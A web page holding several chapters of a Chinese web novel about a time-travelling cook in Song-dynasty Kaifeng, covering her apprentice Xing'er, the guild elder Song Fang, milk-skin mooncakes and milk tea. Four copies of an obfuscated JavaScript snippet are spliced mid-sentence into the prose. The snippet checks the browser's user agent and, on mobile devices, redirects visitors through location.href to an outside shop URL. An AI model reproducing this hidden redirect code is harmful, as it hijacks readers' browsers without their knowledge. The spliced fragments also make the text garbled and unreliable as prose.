牙婆虽是一等一的爽利干练铁石心肠，心中依旧存着一分善心，杏儿身世可怜，能拿出的中人费用不过尔尔，牙婆还是带着她前来许记询问。 许苏苏叹息，“我不是个有善心的人。” 牙婆挤着眉头，看了看杏儿，“我再给您找找。” 杏儿懵懵懂懂，并不知道成为许苏苏的学徒是什么机缘，但是还是重复了上句话。 “东家，我很能干活。” 杏儿终于不磕磕巴巴了。 许苏苏犹豫了一会儿，“试两天工？” 然后她拿定主意，“试工一月，行就留下，不行就走。” 许苏苏决定依靠自己的观察能力，来考察这个女孩儿。 将对上一个孩子的偏见带到下一个孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547493|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上，非常不可行，且不是许苏苏性格。 杏儿闻言，跪在地上朝许苏苏磕了个头。 “签文书。” 牙婆猛然回神，嘴里念叨杏儿可真是好命，然后拿出早就准备好的文书，在聘请日期上写了一月。 牙婆很谨慎，许苏苏见状更加满意。 “让她收拾行囊，住到我家去。” 许苏苏并非突发善心，而是要仔细教导杏儿几日，看看她是否有学厨天赋。 “我家中娘亲，还，还要人照顾。” 杏儿没有细想，就拒绝到。 “啊呀，九娘。” 牙婆着急的拽拽她手臂，“你这是做什么？” 杏儿没有看到牙婆焦急神色，很认真的同许苏苏解释，“东家，我娘每日饭食须得我做。” 许苏苏沉吟，心中对杏儿更加认可，脸上却没表现出来。 “学徒每日有两百文工钱。” “呀，你这傻孩子。” 牙婆终于按耐不住，“让你当学徒，管吃管住，还给工钱。” “杏娘，你这傻孩子，还不给师父磕头。” 牙婆要去拽杏儿，杏儿却死死犟着不肯下跪。 “那算了，你每日按时来店中。” 许苏苏改口道。 杏儿若是满口答应下来，许苏苏才看不起这孩子呢。 “每日三更天出门，五更天到达，晚一刻钟扣你十文钱。” 杏儿脸上欢欣鼓舞，“知道了，东家。” 牙婆见两人没再为住所这事争执，稍稍细想许苏苏方才的话，也明白了许多，于是赶忙催促着两人签订文书，自己也好赚到许娘子那一百文中人费。 “苏苏，这是你新招来的小帮厨？” 钱希祎仔细观察杏儿模样，随后说道。 “身家清白？” “那鱼市上的牛儿来闹过，被我拿着刀赶走了。” 许苏苏笑着回答。 前几日得知‘婚事’泡汤的牛儿很不甘心，纠集一帮闲汉来许苏苏店中吵闹，被许苏苏拿着菜刀追了半条街。 再横行霸道的混子，见了许苏苏真要丢菜刀砍人，也是会明白什么叫讲道理的。 “现在大家给东主起了个诨名，叫菜刀娘子。” 阿武无奈道，“都说东主年纪小小，当真有绿林好汉之风。” “你也不怕被巡检司定个斗殴闹事的罪名。” 钱希祎有些责怪。 “我说那些人意图强抢良家，巡检司的人立刻将他们押走了。” 许苏苏满脸得意，“那牛儿闯入店中，来拉拽杏儿，还说要将她带回去做媳妇，还说我个乡野村妇，见识浅薄。” “当时店中多少人看到。” “巡检司的大人问过之后，立刻就将我放开，捆了那牛儿。” 阿武却很心疼，指了指许苏苏腰侧和破了的额角。 “您被人踢伤，磕到桌子上，还见了血，哪里有说的那么轻松。” 那伙人当众持械强抢十二岁良家女童，还殴伤良家店主，见了血，自是有好果子吃。 这也是许苏苏未被拘捕的原因，完全出于正当防卫。 “衙门还赏了我五匹绢，聊作嘉奖呢。” 许苏苏更加得意洋洋。 12. 奶皮子月饼 见义勇为被奖励，无论哪个时代都值得夸耀。 看到许苏苏额头上伤口和高兴模样，钱希祎责怪的话终是没出口。 杏儿则感激许苏苏为她张目，平日里干活更加卖力，毕竟和牛儿的婚事可不是杏儿的爹主动提起，而是牛儿威胁下方才答应，杏儿的爹在码头时常捕捞些鱼类售卖，所获得银钱全部充作家用，给杏儿娘请郎中抓药。 牛儿看中杏儿爹无法失去码头捕鱼售鱼的收入，才能够以三贯钱价格买下杏儿做童养媳。 本朝严禁人口买卖，强抢良家为妻妾，也不知这牛儿有多大胆子，多大靠山。 想来判个流放三千里，是少不了的。 “清蒸鲈鱼当真美味。” “几日不见，许娘子厨艺更加高妙。” 一位食客心满意足，多留下一点碎银当作赏钱，看起来对许苏苏厨艺非常满意。 这位食客身穿白色服饰，所用料子却极好，是上等绢纱，面容富态，十分和蔼。 杏儿怯怯收起赏钱，她认出了这人，乃是鱼行的行老黄大善人。 “客人下次再来。” 阿武挥挥方巾，送走了小店私房菜时间段最后一位客人。 而黄大善人走出许记小店时依旧回味无穷，摇头晃脑吟诵着前朝名句，赞美这道清蒸鲈鱼，以及那许记秘制料汁。 “处理鲈鱼，用到料酒、葱姜，水烧开后，鱼要用中火蒸一炷香……” 许苏苏一板一眼教授杏儿，令她先是重复几遍，然后字字不落背诵给她。 杏儿很认真，尽管不怎么聪明的脑袋记不住许苏苏快速说出的步骤。 “蒸一炷香。” 许苏苏见她心中有个概念，就指挥杏儿开始动手。 “苏苏，我来了。” 钱希祎下值后收到许苏苏拜托同在班直的袍泽捎带的口信，请人告诉家中晚上不回去吃饭，就立刻赶来。 “苏苏，这是？” 许苏苏眉眼弯弯，“让你尝尝我小徒弟手艺。” 许记小店门扉紧闭，许苏苏像是第一次请钱希祎时那样，格外奢侈的点了四支粗大红烛，让阿武放在屋子四方。 明亮烛火下，饭菜香气四散开，许苏苏、阿武、杏儿和钱希祎围在小桌前，品尝杏儿手艺。 “这道是清蒸鲈鱼，杏儿的时机把握须得再练，你师傅蒸出的鱼肥嫩可口，丝毫不见老柴。” 许苏苏认可钱希祎评价，鲈鱼蒸的时间略长，若不是蒸鱼豉油，老柴口感会更加严重。 “这道爆羊肉做的不错。” 许苏苏夸赞道，羊肉葱白爆炒后散发出独特香气，总让许苏苏想起一道前生爸爸爱做的菜，孜然羊肉。 “糖丝茭白和糖丝藕片很好，金丝缕缕，根根分明。” 阿武对两道甜口的菜赞不绝口，甜会让人上瘾，阿武自从来到许记，最爱的两道‘员工餐’就是酸梅饮和糖丝茭白。 杏儿被几个大人夸奖，脸上涨红一片，结结巴巴半天说不出一句话。 四五道菜，算作许苏苏教导杏儿一月的成果。 三月十日，杏儿被牙婆带到许记，明日是四月十日，到了该决定杏儿去留时刻。 “你决定留下她？” 钱希祎接过许苏苏背篓，“这杏儿家中，我都打听清楚。” “他爹是张大老实，在鱼行有些名声，总能抓到肥美大鱼，很多鱼贩都到他那里采买活鱼。” 许苏苏叹息，能抓到大鱼可不是运气好能解释，大抵是杏儿爹总往危险、水流湍急的地方去，放才能次次抓到肥美大鱼。 “家中娘亲半瘫，平日里做女红补贴家用。” 杏儿娘应当是中风，根据钱希祎描述，许苏苏能猜测到中风的原因。 “我听街坊说，都是她娘生了杏儿，方才如此。” 一连九个孩子，每个相差不过一年、半年，以古代医疗水平状况，到第九个孩子才出现产后症状，杏儿的娘算得上身强体壮了。 “几个兄弟姐妹呢？” 钱希祎想了想，“都是些勤恳忠厚的孩子，一心凑钱要为他们母亲请好大夫。” 想来他是亲眼看了看那几个孩子。 许苏苏沉吟，倒不是犹豫，而是邻家店铺东家娘子的话让她深思起来。 “授业师傅，女子能做吗？” 钱希祎正色道，“学徒、养女、义妹都不行。” “为何？” “女子不能做人师傅，不能收徒。” 钱希祎研读过《宋刑统》，“你若是收徒，便是‘乱行业’，甚至能杖责八十。” 许苏苏不悦，“行会也会打压我？” 来到许家门前，钱希祎放下背篓，继续说道。 “大家会说你不守妇道。” “苏苏，杏儿家人品性不定，说不准会惹上官司。” 唉，许苏苏叹气道，“安大娘子劝说我毋要说明自己收徒，会惹来行会的麻烦事。” “看起来此事当真不易。” 许苏苏只能将收徒的想法暂且按耐下，“可杏儿颇有悟性，我只觉可惜。” 钱希祎劝告到，“起先你说收徒时，我不在，否则定然要阻止你。” “说出去的话，泼出去的水。” 钱希祎叹息一声，“唉，明日我带你去行老家中，将此事说和。” 许苏苏并不知道，在东京城做生意，得罪行老是什么概念。 钱希祎久混迹军中，三教九流的人都见过，知道小鬼难缠的道理，自是要为她出面朝行老说情。 上次来拜访行老，许苏苏没有仔细打量这户人家铺陈，此次看来，唯独有些木制家具，青竹、芳草做装饰，倒是简朴素雅，十分契合许苏苏前世所知晓的宋氏美学装修。 “胡闹！胡闹！” 行老宋芳，从后周朝廷在时就是东京城饮食行当的元老人物，据说当年曾是为世宗柴荣烹调过御膳的高厨。 如今年老，受下面徒子徒孙和晚辈们推举，做了行老，脾气倒是不减当年。 此刻听到许苏苏要收徒的话，暴跳如雷。 若非钱希祎这钱王家公子哥儿在这儿，早就抄起拐杖狠狠敲一顿许苏苏。 “许娘子，大好前程在手，非得去收徒弟作甚？” 宋芳品尝过许苏苏手艺，当时就断言，此后二十年，许氏当为东京第一厨娘，对她很是欣赏。 “若是犯了律法，被发回原籍，那你该怎么办？” 许苏苏一愣，似乎没想到这件事。 “那小娘子是无人可依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547494|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠了？” 宋芳问道。 许苏苏摇头。 “你可是年老，须得找个传人放才能安心闭眼？” 许苏苏再次摇头。 “那小娘子可是你家人？” 许苏苏又摇摇头。 宋芳勃然大怒，“这也不是，那也不是，收徒作甚？” “你是雇觅不上伙计？” 许苏苏想了想，摇摇头。 宋芳抄起拐杖，狠狠敲打许苏苏的脊背。 “混账东西，随性所欲也不是如此随性所欲的。” 许苏苏终于明白收徒这件事可能比自己想象的还要严重许多，嗫嚅两句，便不敢再说话。 “缺个帮手，是也不是？” 许苏苏点点头。 “可怜那女孩儿家世困苦，是也不是？” 许苏苏点点头。 宋芳刻薄到，“俗谚道，一朝被蛇咬，十年怕井绳，你许娘子倒没这个困惑。” 许苏苏脸上一红，知晓行老在刻薄什么，更不好回答他的话。 但宋芳没有再继续说，转过身来朝钱希祎见礼。 “这许娘子悟性非凡，可脾性上尚且有点欠缺。” “东京城中，举凡售卖饮食地方，正店脚店也好，都可算作我徒子徒孙。” 宋芳摸摸胡须，“老朽便恬颜自居许娘子的师傅，请钱公子这个保人见证，我教导她一月。” 许苏苏愣住，不知道这是什么意思。 “也让你知道些饮食行当的规矩。” 这倒是好笑，一月前许苏苏信誓旦旦要做别人师傅，现在倒成了自己去做人家学徒。 钱希祎知道这是宋芳要保许苏苏，将此事糊弄过去。 许苏苏刚想感谢，就听到宋芳说。 “每日未时来，带上你那小徒弟。” 许苏苏十分惊讶，“您这是？” “还不快快滚起来，拜师。” 宋芳从鼻子里喷出响亮嗤音，“我能教你什么手艺？” 听到这反问话语，许苏苏恍然大悟。 “在我这儿好好教她。” 许苏苏非常感激，代师收徒，确实是目前风险最低的一种方式。 得知杏儿拜饮食行当行老宋芳为师，杏儿家中人如何欢喜且不提，许苏苏却在宋家的食谱中，悟得了一种美食做法。 “你要做奶月饼？” “是，师父。” 宋芳为人古板守旧，但是对待有天资的学徒用心至极。 从许苏苏口中得知她不擅制作点心，宋芳当真开始教授她如何制作果子、点心。 两人都是喜爱钻研并痴迷美食的性格，聊起来总是忘记时间。 这也有一个好处，许苏苏这两日灵感源源不断。 奶皮子月饼，就是她最近新想出的点子。 “辽地的饮食么？” 被勾起一丝惆怅的宋芳品尝一口许苏苏的奶皮子月饼，赞许道。 “此物新奇，味道独特，颇美味。” “你可呈送给贵人品尝。” 能让这位在周世宗身边侍候的老人如此赞许，可见奶皮子月饼确实不错。 “我准备将其当做早餐售卖？” “早餐吗？倒也使得。” 13. 奶茶与杏儿 “此物就叫奶皮子月饼？” 结束一月学习，许苏苏迫不及待将钱希祎拉来一道品鉴自己新制美食，杏儿则回到家中收拾衣裳，好第二日来许记小店正式报道。 奶香十足，因是温热缘故，钱希祎还能见到一些拉丝。 这辽地风味吸引住钱希祎，他喝了一口许苏苏秘制奶茶，更觉味道新奇。 茶香与奶香融合，诞生出奇妙反应，钱希祎很快被奶茶征服。 “苏苏，这好东西你准备如何卖？” 钱希祎询问到。 “钱大哥觉得九文钱一个，如何？” 钱希祎看看这与自己手掌一般大小的月饼。 六文钱？便宜了。 “牛乳较贵，苏苏何不售价十二文？” 许苏苏计算成本，发觉十二文才刚好能赚三五文钱的利润，便为难起来。 “可否太贵？” “旁人能仿制你这东西吗？” 钱希祎问道，“若是像你家羊肉烧卖一般，卖九文倒也使得。” 柳儿被厢主在开封府尹处保下，随后送还家中，便迫不及待同堂兄家开设一柳记烧麦店，拿着从许苏苏这儿偷来的配方生财。 此种恶行当然有行会之人前去询问，谁料到柳儿一哭二闹，竟指责行会中人是仗势欺人，给那行会中人闹了个好大没脸。 许苏苏开店前，过了行会门路，行老宋芳亲自将人引入饮食行当的行会当中，算作行会一员。 此事闹得甚大，行会甚至和柳家对簿公堂，都未能令其关店不做。 谁让柳儿一口咬定，是许苏苏没有藏私，她方才能学到这门手艺。 同行会众人一道见官的许苏苏真是百口莫辩，有冤屈无处诉说。 行会打压，总得看在壮城军厢都指挥使份儿上收敛几分。 结果真让柳家把店铺开起来，赚上钱了。 由是那位厢主的名声日益败坏。 这也是行老见她收徒，毫不留情刻薄嘲讽的原因。 许苏苏想了想此事，觉得处处都令人心梗心塞。 “十二文就十二文。” 杏儿和柳儿却是完全不同的两个孩子，许苏苏感觉到了。 “东家，这活我来做吧。” 择菜、洗菜的活，往常都是许苏苏和阿武谁有空闲工夫，谁来做，柳儿在时总是仰仗自己年纪小，说几句恐怕清洗不干净，让客人吃沙子拒绝。 杏儿则一股脑将这些零散琐碎的活接到手里，认认真真，勤勤恳恳做上五六遍。 从未出现过青菜里有沙子这类情况。 “前几日的菜谱学会了吗？” 好吧，‘师妹’就这一点不大好，记性太差。 许苏苏再次重复一遍菜谱内容，让杏儿自己琢磨去，然后投入到制作奶皮子月饼这一大工程上。 “许娘子，许久未见啊。” 许记烧麦店清晨开店，老衙役竟成了第一个食客。 因着许多事情，许苏苏只能维系下午炒菜的经营，早餐许久未开过了。 “您今日来得早。” 许苏苏笑道。 “听说许娘子有新菜品。” 老衙役显然是看到许记门前的小牌子，‘本店上新’。 许苏苏端出一只小盘子，“您老人家尝尝。” 老衙役看到月饼模样的食物失笑出声，“还未到中秋呢。” 许苏苏哎呀一声，“这可和寻常月饼不一样。” 老衙役半信半疑拿起月饼放到嘴里，温热拉丝的奶皮子在口中化开，来自辽地的独特风味立刻征服了这位老衙役。 老衙役小心翼翼收起这咬了两口的月饼，他知道这是许苏苏对老客的照顾，可免费品尝。 他准备将月饼给小孙孙吃，小孩子肯定喜欢这个。 “几文钱一个？” 老衙役询问到。 “十二文一个。” 这，老衙役有些纠结，十二文略贵了点儿。 但是，看到有整只手掌大小的月饼，又犹豫了。 “明日我带我家小孙孙来尝尝。” 他想了想，偶尔让小孩子吃一顿也没什么大不了。 “先来五个烧麦，一碗馄饨。” 食客们大多对许苏苏的奶皮子月饼赞不绝口，可是价格上，仅有年轻军汉和经济宽裕的年青男女会买来品尝，一早上仅卖出五十个奶皮子月饼。 而奶茶，更是无人问津。 许苏苏的新产品遇冷了。 幸而烧麦的火爆一如往常，今日早上，见到许记重新开张的食客们，只耗费半时辰，就将许苏苏准备的七百五十个烧麦买空。 许苏苏坐在小店中，看店外人来人往。 杏儿不知东家在想什么，但是见到东家茶盏里水少了，于是走上前去为她添水。 “东家？” 小女孩儿歪着脑袋。 许苏苏笑了笑，没说话。 兴许是烧麦、馄饨和下午的私房菜热卖让许苏苏生出错觉，自己做什么都能吸引到一大批食客。 现在，经历失败后，许苏苏冷静下来。 “阿武，你说咱们的奶皮子月饼为何卖不出去？” 许苏苏决心寻求其他人的建议。 “这。” 阿武很是为难，即便这段时日在许记小店学习了记账等知识，阿武归根结底还是一个普通的妇人，这种涉及到产品销售的事情，不是普通妇人能理解。 “可能不适合做早饭？” 许苏苏一愣，随即想到一点。 “你提醒我了。” 这里是开封，不是上京，也不是现代内蒙。 许苏苏恍然大悟，地域不同所产生的饮食文化，是她所忽略的重点。 “是我一时得意，冲昏头脑。” 许苏苏笑起来，“此刻才是售卖的好时辰。” 太阳正高，街上行人往来匆匆。 “给咱们的奶茶加些冰块。” 逐渐入夏，街上也多了许多卖冰人。 “许记新上奶茶、奶皮子月饼，欢迎大家品尝。” 杏儿脸皮薄，许苏苏没让她出去招揽客人，而是让她和自己一起在店门外支起桌子。 “这是免费品尝的？” 阿武的叫卖声引来许多食客。 有一名模样姣好小娘子询问道。 “是的，先尝后买。” 那小娘子早就看到木桶里的奶茶，尤其是那些上浮的冰块，让刚刚往城外游玩回来的小娘子十分眼馋。 “我来一杯。” 阿武为她盛上一小杯，小娘子接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547495|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过喝了。 奶香、茶香和甜腻的味道，来自后世无数青年男女认可的味道，让小娘子微微睁大双眼。 “真好喝。” “此物如何售卖？” “一壶十五文。” 阿武眼见她心动，赶忙介绍到，指了指手边成排的白釉执壶。 “给我来上一壶，并四个杯子。” 小娘子提着一壶冰奶茶乐呵呵回到马车上，和小姐妹们分享。 有了这容貌姣好小娘子开头，越来越多食客前来品尝奶皮子月饼和冰奶茶。 “东家，咱们的奶茶卖完了！” 阿武十分欢喜。 许苏苏笑起来，似乎是没想到奶茶还能卖空，于是从今日所得的银钱当中拿出两百文递给阿武。 “今日工钱。” 阿武接过，许苏苏又从今日售卖食物的银钱当中拿出一百五十文递给杏儿。 “今日工钱。” 杏儿一愣，“东家，不，不是一百文么？” 许苏苏笑起来，“哪里是一百文呢？我不是这么吝啬的人。” 杏儿接过工钱，有些手足无措。 按照当下女子做工的工钱，杏儿能获得九十文就算是店家心善。 阿武见状，赶忙安慰道。 “你是东家帮厨，能得了这一百五十文是正常，杏儿，你可得收好了。” 杏儿重重点头，心中对许苏苏感激更深几分。 “嗯。” 出人意料的是，到了下午，那位容貌姣好的小娘子又一次来到许苏苏小店，指明许苏苏给她烹饪几道拿手好菜。 许苏苏看着这位小娘子微微抬起下巴，作出高傲模样，要许苏苏为她炒菜时，皱起眉头。 不是因为她的态度，那是许苏苏觉得这位小娘子很面熟。 “喂，你听到没有。” 赵萧清抬起下巴，“许娘子，还不快快去。” “客人稍等。” 许苏苏暂且按耐下这点困惑。 “什么嘛，也不过如此。” 少女嘟囔道。 “和张娘子的手艺比起来，嗯，略有欠缺。” 许苏苏恍若未闻，收好钱开始收拾桌子，阿武正在外面售卖奶茶喝酸梅饮，杏儿正在后厨备菜，收拾店面的工作就只能交给许苏苏。 “许娘子，你这小店也忒逼仄狭小。” 少女丢下三百文，然后指点许记的店面说道。 “三张桌子，客人想走动都走动不开，谁会在这种逼仄地方用饭？” 许苏苏环顾小店，这个问题她其实知道，但是这家小店的房契才落到手中不久，许苏苏暂时没有多余资金去购买临近店铺。 能以三十贯买到一栋宅子，那属于天上掉馅饼，东京城基础房价在两百贯到一千贯之间，许苏苏买下这仅有三张桌子的小店，就耗费一百五十贯。 她手中资金要用来应对突发情况，例如生病等，这样的时代生病，不是一件小事。 而那些售卖捡来首饰的金银，要当作最紧急情况的存款。 对于自己的财务情况，许苏苏规划的很清晰。 “小店有外带、送菜□□。” 这就要说到宋朝一个独特现象，外卖。 许苏苏店中就有专门合作的‘外卖员’。 14. 流言蜚语 少女离开后，许苏苏关上店铺的门。 太阳西沉，街上却依旧热闹。 许苏苏背上背篓，慢悠悠往回走。 算算日子，她逃到京城已有三四个月的光景，在西杨村的日子恍若隔世，而前生的记忆也渐渐模糊，至少许苏苏已经记不清大多数朋友的模样。 走过龙津桥，拐过两条小巷，许苏苏回到位于小甜水巷的家中。 今日小店生意依旧火爆，许苏苏满意的清点沉甸甸钱袋里的铜钱。 足足有三千多文。 清扫好家中，放下背篓，拿出从正店买来的酒菜。 一样槐叶冷淘，一壶紫苏饮，一盘白切羊肉，加上一点蘸肉的秘制蘸料。 读到孟元老《东京梦华录》时，对市井经济之家不开火，不做饭，往往在夜市上购买饭菜时，许苏苏没有一点真实感。 “世事多无常，梦及前生，恍若隔世啊。” “苏苏。” 当许苏苏痛饮紫苏饮时，门外响起一个声音。 “钱大哥。” 许苏苏略有欢欣，前几日金明池宴会，军中时常操演行伍，钱希祎能来拜访她的时候较少，饶是每天有阿武和杏儿说笑玩闹，许苏苏也很是寂寞。 钱希祎走进来，就看到许苏苏桌子上摆着一荤一素并一壶饮子和一只小杯子。 “苏苏好雅兴，可是温了一壶酒来吃？” 许苏苏摇摇头，“钱大哥，我不吃酒。” 即便现在身体康健，许苏苏依旧不会让自己染上熬夜、喝酒的习惯。 “啊呀，我还说蹭你一壶酒喝。” 钱希祎兴味盎然，“这是哪家店铺的白切羊？” “孙记。” 许苏苏今日买的多，拿出一双筷子示意钱希祎，没吃饱饭就来垫补垫补肚子，可钱希祎吃了两三口便停下。 “你平日里操劳辛苦，吃这个做什么？” 许苏苏咀嚼着食物，含混地发出疑问声。 “什么？” “今日我请你去吃点好的。” 钱希祎邀请许苏苏去樊楼美餐一顿。 “不不不，这不行。” 许苏苏吓得连忙摆手，“钱大哥，这太破费了，不行不行。” 樊楼乃是京城第一大酒楼，一碟果子几杯清茶都得花费银十两，若是点菜，价格少说要翻上五六倍。 许苏苏自是不肯让友人如此破费。 钱希祎却正色道，“苏苏，这便是和我见外了。” “连日来你赠与我的酒菜就值三五十千钱，因着你的饭菜，叔祖父来到京城生出的病症都好了许多，这于我而言便是千金难抵的恩情。” “更何况，苏苏你平日里辛苦，我带你去吃些好的，不妨碍什么。” 许苏苏微微赫然，“哪里就这么大功劳，一点饭菜饮子，花费不了几个钱的。” “哎呀，小娘子。” 门外马儿发出希律律的嘶鸣，一中年文士和粗壮汉子走进来。 正是跟在钱希祎后面的赵光义和钱俶。 “小人见过官家。” 还没来得及多想，钱希祎瞬间下跪见礼。 许苏苏赶忙学着钱希祎的模样跪拜下去，“妾身见过官家。” “啊哈哈，你瞧瞧，我说我来了就把孩子们吓坏了。” 赵光义哈哈大笑。 “起来，今日你们两个小家伙可碰上好事了。” 赵光义指点指点身边微笑的钱俶，“他要请你们两个小东西去潘楼。” 这，这时为难的倒成了钱希祎。 “潘楼酒菜价贵……” “文盈。” 钱俶笑叹道，“你因为许家娘子赠送给我许多饮子、饭菜，使我身子好转许多，要设宴款待她，难道我就不能如此？” “不敢，不敢，叔祖您言重了。” 钱希祎随即用胳膊捅捅许苏苏，“咱们两个可算是有口福，潘楼的好酒天下闻名。” 许苏苏怯怯一笑，“妾身谢过官家、钱王。” 许苏苏不知道为何自己这小人物能劳动深居宅邸，不理世事的钱王，即便是多次赠送食物的交情，那也是许苏苏和钱希祎的交情。 但许苏苏能感觉到，官家来此么？纯属凑热闹罢了。 “文盈。” 酒饱饭足，钱希祎准备送许苏苏回家。 钱俶叫住养孙。 “你且来，我同你说几句话。” 许苏苏略带疑惑。 但钱希祎和钱俶站在官家马车前，她总不好上前去听人家在说什么。 “孩子，你可是对许娘子有意？” 钱希祎一愣，随即双颊飞红，“绝无此意。” 钱俶心中暗叹，小儿家心事真是猜不透。 “那就不要带着许娘子出入潘楼、樊楼地方，可以吗？” 钱希祎不解。 “旁人还会以为，许娘子是你养的外室。” 钱希祎瞬间愤怒起来，“可是有人乱传？” 钱俶摇头。 “无论何时，青年男女，形影不离，大抵是要生出许多流言，传播流言的人会关心你是想同许娘子做朋友，还是彼此有意吗？” “有了婚约的青年男女一同游玩，会被归结为小儿女情分好，世人总是会多一分纵容。” “可无有婚约、身份悬殊的青年男女混迹在一起。” 钱俶顿了顿，似乎是在组织语言。 他面前的钱希祎垂下脑袋，看起来已经听不下去。 送许苏苏回去的路途上，钱希祎一直沉默。 许苏苏不知钱王同他说了什么，于是温声询问到。 “可是殿下教训你了？” “没有。” 钱希祎看了看许苏苏温婉清秀的小脸，沉默片刻。 “苏苏，你会觉得我们交往过密吗？” “啊，不会觉得啊。” “可，可是。” 钱希祎憋了半天，还是没把叔祖父说的什么‘外室’说出，而是用一种比较委婉的方式说道。 “或许会有些流言蜚语。” 钱希祎为难道，“苏苏，我会损坏你的名节么？” 许苏苏嗤嗤笑起来，“名节是个什么东西？钱大哥你这军中厮混的汉子也在乎这个么？” “仓廪足而知礼节，天下承平方才多少年，升斗小民还到不了讲究名节的时候。” 钱希祎哑然，似是被许苏苏看法惊讶。 “更何况，你我好友，自是清者自清。” “旁人传播流言，与我何干？” 在西杨村时，许苏苏和温如玉厮混在一起，也有许多闲汉村妇总爱传播他们的的谣言，都被许苏苏一一报复回去，年幼时的许苏苏无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547496|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反抗欺辱自己的人，但是成长到十一二岁，许苏苏凭借自己两世为人积攒的智慧，活得越来越顺风顺水。 一颗强大的心脏，就是那时锻炼出。 “苏苏豁达，我不及。” 钱希祎尴尬一笑，许苏苏说道我们好友相交问心无愧时，钱希祎稍稍心虚一会儿。 只是他不知道那种心虚之感，来自何处。 “是，是啊。” 钱希祎附和道。 到了许宅门前，许苏苏跳下钱希祎的私人马匹，两人相约来日到大相国寺中上香后便彼此告别。 这就是古人吗？ 许苏苏无奈道，似乎已经猜到钱王同钱希祎说了什么。 无外乎是名节、身份、地位等。 “唉，若是少了钱大哥这个朋友，这京城呆的也忒寂寞了点。” 许苏苏自言自语道。 将身上衣裳换下，许苏苏准备躺到床上时，被一本小册子膈到身子。 “什么，书，书简？” 因为家庭贫困，加之前十几年在小乡村度过，许苏苏只能依稀认处些许繁体字。 这本小册子，是那位赵小姐所遗留。 说来奇怪，许苏苏感觉赵小姐应当很不喜欢她，却时常到店中光顾，偶尔也会和阿武、杏儿闲聊。 这话本，是赵小姐遗忘在店中的东西， “话本么？” 许苏苏翻开，看到几张连环小人画，然后猛然合上。 “这，赵小姐，当真豪放。” 许苏苏汗颜，心想下次她来，赶紧还给人家。 画中小人儿在做什么，显而易见了。 “不过个十五六的娃娃懂什么，大概是见兄弟的话本，一时兴起便拿来了。” 许苏苏想了想，这是大宋，不是现代，大概赵小姐是没这雅兴看避火图。 待到明日，瞧瞧还给她。 明日是十五，听杏儿说，赵小姐和好友们要往城外去钓鱼。 第二日，这计划却泡汤了。 许苏苏坐在屋檐下，看雨滴连绵不断，无奈道。 “幸好和阿武、杏儿约定过，雨势过大，便不必到店中。” 也不知赵小姐是否在找这话本。 “咚咚咚。” 门外传来敲门声。 坐在屋檐下赏雨的许苏苏疑惑，这时会有何人来访？ “苏苏？” 熟悉的声音传入耳中，许苏苏先是愣住，随即笑起来。 “温大哥。” 许苏苏披上蓑衣，为温如玉打开门。 “温大哥，你怎地找到这儿的？” 许苏苏替温如玉脱下蓑衣，放下书箱，将人迎进屋里。 “快快喝些热茶，省得发热。” 许苏苏十分热情，毕竟这才是自己在这世上第一个熟悉的好友。 温如玉温吞道，“我来到京城四处问你，有人告诉我你住在这儿。” 许苏苏笑起来，“温大哥，不是在应天府书院读书？” “春闺过了，我来看看你。” 春闺，许苏苏先在脑海中想了想这是什么。 随即更加惊喜。 “温大哥，你中第了？” “不过是二甲第四名。” “进士及第？” 许苏苏笑起来，自己这位好友，可当真厉害。 15. 心动 温如玉面色微白，喝过热茶后稍稍缓和一些。 “苏苏，我也住在甜水巷。” 这是格外的惊喜，“温大哥是租住在甜水巷？” “是的。” 温如玉点点头，随后拿出了自己背来的几本书。 这是许苏苏早就想看的时兴话本，在西杨村时，有一位老者曾做过说书人，回到乡下养老时不甘寂寞，总是爱在村头和许苏苏、温如玉这些小萝卜头们一道说书讲史。 说往昔英雄，也说当今天子，当然，说书人自是不会提及先帝，尤其当当今与先帝并非父子关系时。 小民，也有小民的生存智慧。 “《目连救母》、《大唐三藏取经诗话》、《三国志》……” 